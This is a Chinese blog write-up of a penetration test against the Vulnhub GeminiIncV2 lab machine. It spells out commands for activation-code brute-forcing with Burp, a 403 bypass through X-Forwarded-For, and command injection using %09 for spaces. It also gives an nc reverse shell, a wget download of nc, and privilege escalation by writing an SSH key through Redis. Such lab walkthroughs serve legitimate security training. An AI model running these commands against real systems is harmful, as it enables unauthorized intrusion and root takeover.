GeminiIncV2靶机渗透测试

GeminiIncV2靶机渗透测试

前言

此靶机综合性极强,渗透过程一波三折,非常贴合实战场景,做完之后我有了很大收获

一、靶机安装

靶机为Vulnhub上的GeminiIncV2 下载文件后直接导入VM即可

攻击机为kali,ip为192.168.14.131

两个靶机均使用VM下的net模式连接

二、端口扫描

nmap扫描整个网段,确认主机ip,为192.168.14.136

nmap -sS 192.168.14.0/24
//-sS:TCP SYN扫描,主机向目标端口发送SYN报文,如果目标端口返回了[ACK,SYN],主机发送RST直接断开,这种扫描方式速度较快,被广泛使用

image-20220421172059074

nmap进一步扫描IP信息,80端口为Apache搭建的http服务和22端口ssh服务

nmap -sS -sV -sC 192.168.14.136
//-sC 等价于–script=default,使用默认类别的脚本进行扫描
//-SV 检测目标运行的服务版本

image-20220420220916872

三、信息收集

访问80端口,为一个web页面

image-20220421171358258

功能十分简单,有一个登陆页面,简单测试下未果

image-20220421171416340
还有User List页面,不过显示没有权限访问,判断需要登陆后才能查看

主页面暂时没有什么有用的信息,我们直接进行目录扫描,这里的话使用的是kali自带的dirb工具默认字典进行一个目录扫描

dirb http://192.168.14.136 -r  // -r为不递归

image-20220422105606703

简单查看了下,都是些简单的文件

image-20220422105712827

查看lib目录,发现了一些php文件,可以判断本网站使用的是mysql+php结构,不过仅靠这些信息,并没有什么突破点

image-20220422105756255

四、隐藏路径爬取

我们添加-X参数再次进行目录扫描,指定扩展名为.php,去获取一些隐藏的php文件

dirb http://192.168.14.136 -r -X .php 
-X          列举具有特定扩展名列表的目录

在很多情况下,我们需要在目标服务器上提取特定扩展名的目录,然后可以使用dirb扫描的-X参数。此参数接受文件扩展名,然后在目标服务器或计算机上搜索给定的扩展名文件。

image-20220422110945189

测试后,发现两个可以利用的文件 activate.phpregistration.php,可进行用户的注册

registration.php为用户登记界面

image-20220421171327302

activate.php为用户激活页面,需要输入用户id和激活码

image-20220421171303526

五、用户注册

我们先注册一个用户,发现可以注册admin用户,提交登记信息后,尝试登录,登陆后提示我们需要进行激活,且激活码为6位数字

image-20220422114346654

那我们去激活页面(activate.php)尝试激活用户,根据上图url中的信息,我们得到id为14,激活码需要去进行爆破,那我们使用burp进行一个攻击,先进行抓包

image-20220422120359998

六、验证码爆破

发现数据包中含有token,刷新后token改变,判断使用了AntiCSRFToken,每次响应含有下次请求所需要的token,那我们这里可以使用burp的Intryder模块Pitchfork功能去进行爆破

设置两个变量分别为激活码和token

image-20220422120555927

这里需要去获取当前页面响应中的token作为下一个请求中的token

我们先设置第一个参数激活码的字典,payload类型为Numvers,范围从000000到999999,步长为1,为确保从000000开始,设置最小位数为6

image-20220422121627832

第二个参数

进入Options选项Grep-Extract模块,添加一条正则,获取响应包选中token

image-20220422141205093

设置Payloads选项设置第二个参数tokeen的字典,选择Recur grep,这样每次获取响应包后,就会提取其中的token,作为下一个请求包的token

image-20220422142620282

需要注意的是,每个token只能使用一次,所有我们要改变Inturder的线程为单线程,进入Resource Pool选项更改线程为1

image-20220422142853732

同时进入Options选项将错误重试次数更改为0,防止我们的token出错

image-20220422143049595

配置完成之后,我们就可以进行爆破了(注意上述步骤一个都不能出错,否则将爆破不出来激活码),可以看到我们每次请求的token都是不一样的,证明可以成功进行爆破

image-20220422143453862

在经过漫长的等待后,终于是爆破出了结果,成功激活账户(这个网站会加载google的资源,故爆破的很慢,挂一个上层代理速度会快很多)

image-20220422161201264

七、密码破解

我们重新登录用户,没有提示激活的信息,可以使用正常功能了,但我们为普通用户权限,干不了什么事,继续信息收集

image-20220422161319312

在User List发现一个橙色用户-Gemini

image-20220422161337341

点击去发现其为管理员账号

image-20220422161408065

那我们的思路就是获取到管理员的密码,查看源代码,发现其密码泄露

image-20220422161539841

不过密码进行了sha1加密,我们找了一个在线解密平台进行解密,成功获取到了密码secretpassword

image-20220422163207008

那我们使用管理员账号重新登陆网站,成功登录

image-20220422170550785

八、403Bypass

发现Admin Panel按钮下有一个Execute Command功能,判断存在命令执行,点击发现它请求了一个new-groups.php文件,页面未进行正常跳转

image-20220422172931460
这里我们进行一个抓包,抓一下它的回显

image-20220422173005424

可以看到,它对ip的来源进行了限制

image-20220422172050227

我们这里进行403的一个绕过,在请求包中添加了一个X-Forwarded-for头为127.0.0.1,表明我们的IP为环回地址,可以看到,页面返回正常

image-20220422173103175

进入后的页面如下图

image-20220422173132143

九、命令注入

很明显,这是一个命令执行界面,我们简单执行一下命令,执行成功但没有回显

image-20220422173743224

接着测试,发现他过滤了空格等字符

image-20220422173704543

那我们尝试使用一些其他字符去代替空格,这里使用%09去替换空格,发现可成功执行命令

Linux下常见空格替代符

%09(需要php环境)
${IFS}
重定向符<>,<

image-20220422174150358

十、反弹shell

那么我们接下来使用nc进行一个反弹shell,反弹至kali机的3333端口

nc%09192.168.14.131%093333%09-e%09/bin/bash

本机监听

nv -lvnp 3333

不能建立连接,说明其没有nc,那我们先进行nc的上传

本地使用python起一个HTTP服务,用于传输nc

python3 -m http.server 80

image-20220422180610702

在网站上执行命令去下载我们kali上的nc,保存至临时目录下

wget%09http://192.168.14.131/nc%09-O%09/tmp/nc

image-20220422180939986

执行成功后,我们赋予它可执行权限

chmod%09%2Bx%09/tmp/nc

image-20220422181515679

然后进行反弹shell

/tmp/nc%09192.168.14.131%093333%09-e%09/bin/bash

本机监听

nc -lvvp 3333

成功获得普通用户权限

image-20220422200457250

可以通过下面命令对终端进行一个升级

python -c "import pty;pty.spawn('/bin/bash')"

image-20220422201202269

查看当前目录文件,发现了一个blacklist.txt,判断此为对前端命令执行的过滤

image-20220422201354045

十一、权限提权

既然得到shell,那我们下一步就是提权,查看当前服务器版本信息,发现其版本过高,暂无可利用的提权漏洞

image-20220422201630721
查看其开放的服务,发现其开放6379端口,一般为redis服务

image-20220422204820551

我们查看下进程,果然redis服务开启,且权限为root,那我们可以尝试进行redis提权

image-20220422204916994

我们进入/etc/redis目录下,查看其配置文件中是否含有密码,果不其然,我们找到了其密码

image-20220422205157724

那我们尝试登录redis数据库,登陆成功,但交互有很大问题

image-20220422205504171

十二、SSH公钥认证

我们这里尝试导入我们的公钥到靶机中,进行ssh登录

首先kali机生成ssh密钥对

ssh-keygen -t rsa

image-20220422225534156

进入ssh目录下,可以看到密钥对成功生成

image-20220422225721703

那我们下一步就需要把公钥id_rsa.pub上传至靶机中

我们使用nc进行一个传输,首先在靶机中,进入当前用户的主目录,发现没有.ssh目录,那我们先创建一个.ssh目录去存储公钥,然后监听自身的4444端口,将接受的内容保存为authorized_keys

/tmp/nc -lvvp 4444 > authorized_keys

image-20220422233023029

然后在kali上执行命令,去连接靶机的4444端口并传输公钥,传输成功后断开

nc 192.168.14.136 4444 < id_rsa.pub -w 1

可以看到,靶机成功接收公钥

image-20220422233057983

那我们就可以直接使用ssh去连接靶机了,成功连接

ssh gemini1@192.168.14.136

image-20220422233115732

十三、Redis提权

我们使用刚刚得到的redis配置文件中的密码去连接redis,成功连接且可以正常执行命令

redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6

image-20220422233439018

接下来我们尝试使用redis(root权限)将ssh公钥写入root账号的.ssh路径下,去进行提权

我们先将原来传上来的公钥进行格式转换,保证redis能够成功读取并可以进行保存

(echo -e "\n\n";cat authorized_keys ;echo -e "\n\n") > pub.txt

image-20220422233831143

接下来我们将公钥写入redis数据库中

cat pub.txt | redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set ssh_key

image-20220422234209347

然后将公钥从redis数据库中写入到root用户的.ssh目录下

redis-cli -a 8a7b86a2cd89d96dfcc125ebcc0535e6
CONFIG set dir /root/.ssh
config set dbfilename "authorized_keys"
sava

image-20220422234437731

接下来我们使用ssh连接靶机的root账号,成功连接,拿下

image-20220422234826771

最后成功获得flag

image-20220422234907252

十四、总结

本次打靶过程可谓一波三折,每个攻击的环节都有障碍需要绕过,首先我们需要需要进行目录扫描,如果没有扫出关键文件,后面的过程都是空谈,所以说渗透测试的核心就是信息收集。接下来我们要进行激活码爆破,但是却发现有AntiCSRFToken阻碍,那这时候就需要使用burp一些高级的技巧了。接下来通过信息收集发现管理员帐号密码的密文,然后破解出管理员密码。正常来说有了管理员密码,可以说是十拿九稳了,但是,你却发现你连后台页面都看不到,这里就需要bypass403了,绕过403之后,还有黑名单对命令执行的参数进行拦截。无奈再次想办法绕过,这才终于突破了边界,拿到低权限帐号。本以为剩下的提权轻轻松松,哪儿想还需要进行ssh公钥认证登录,好在接下来的提权过程还算轻松,利用Redis权限配置漏洞,最终拿到Root权限和Flag。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇